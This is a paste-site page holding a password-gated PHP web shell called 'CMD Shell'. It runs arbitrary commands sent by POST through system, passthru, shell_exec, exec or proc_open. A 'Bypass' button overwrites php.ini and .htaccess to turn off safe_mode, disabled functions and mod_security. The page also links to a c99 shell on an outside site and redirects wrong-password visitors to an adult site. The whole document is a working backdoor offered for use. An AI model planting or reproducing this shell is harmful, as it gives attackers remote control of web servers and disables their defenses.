0xspade icon

CMD Shell | Spade

0xspade | PRO | 09/13/16 01:04:31 PM UTC | 0 ⭐ | 914 👁️ | Never ⏰ | []
PHP |

2.23 KB

|

None

|

0 👍

/

0 👎

<?php
    if(!isset($_GET['spade'])){
        echo 'Get Lost!';
    }else{
    
    if($_GET['spade'] != 'azazel'){
        echo '<meta http-equiv="refresh" content="0; URL=http://www.youjizz.com/">';
    }else{
?>
<head>
    <title>CMD Shell</title>
</head>
<body style="background: black;color: green;font-family: 'Courier New','OCR A';">
<center>
<?php $disable_functions = @ini_get('disable_functions'); ?>
<h3>Disabled Functions: ~$ <?php echo $disable_functions?$disable_functions:'All Functions Are Enabled :D';?></h3>
<form method="POST" autocomplete="off" >
            5p4d3@Localhost:~$ <input type="text" placeholder="What's On your Mind?!" name="command" style="outline: none;border: none;"/>
        </form>
        <textarea rows="25" cols="80" readonly style="text-align: left; color: red;resize: none;">
        <?php 
            if(isset($_POST['command'])){
            //system
            if(function_exists('system')){
            system($_POST['command']);
            //passthru
            }else if(function_exists('passthru')){
            passthru($_POST['command']);
            //shell_exec
            }else if(function_exist('shell_exec')){
            shell_exec($_POST['command']);
            //exec
            }else if(function_exists('exec')){
            exec($_POST['command']);
            //proc_open
            }else if(function_exists('proc_open')){
            proc_open($_POST['command']);
            }
        }           
        ?>
        </textarea> 
<?php if(is_writable(getcwd())){?>
        <hr>
        <form method="post">
            <input type="submit" value="Bypass Dat Sh!t" name="bypass" />
        </form>
<?php 
    if(isset($_POST['bypass'])){
        $php_ini = "safe_mode=OFF \ndisable_functions=NONE";
        $htaccess = "<IfModule mod_security.c> \nSec------Engine Off \nSec------ScanPOST Off \n</IfModuleIfModule>";
        $open = fopen("php.ini","w");
        $htx = fopen(".htaccess","w");
        if(fwrite($open, $php_ini) && fwrite($htx, $htaccess)){
            echo "Bypassed ./.";
            
            fclose($open);
            fclose($htx);
            
            }else{ echo "Cant Bypass This shits!";}     
        }
            }else{ echo "<p1 style='color: yellow;'>Directory is Not Writable!</p1><br /><a href='http://www.r57shell.net/shell/c99.txt'>Bypass Not Writable!</a>";} ?>
            
 
<div style="text-align: center;position: absolute;bottom: 0;left: 0;background: black;color: red;width: 100%;">
    <pre>Alright Reserved | Spade Pirates 2K16</pre>
</div>
</center>
</body>
<?php
}}
?>

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎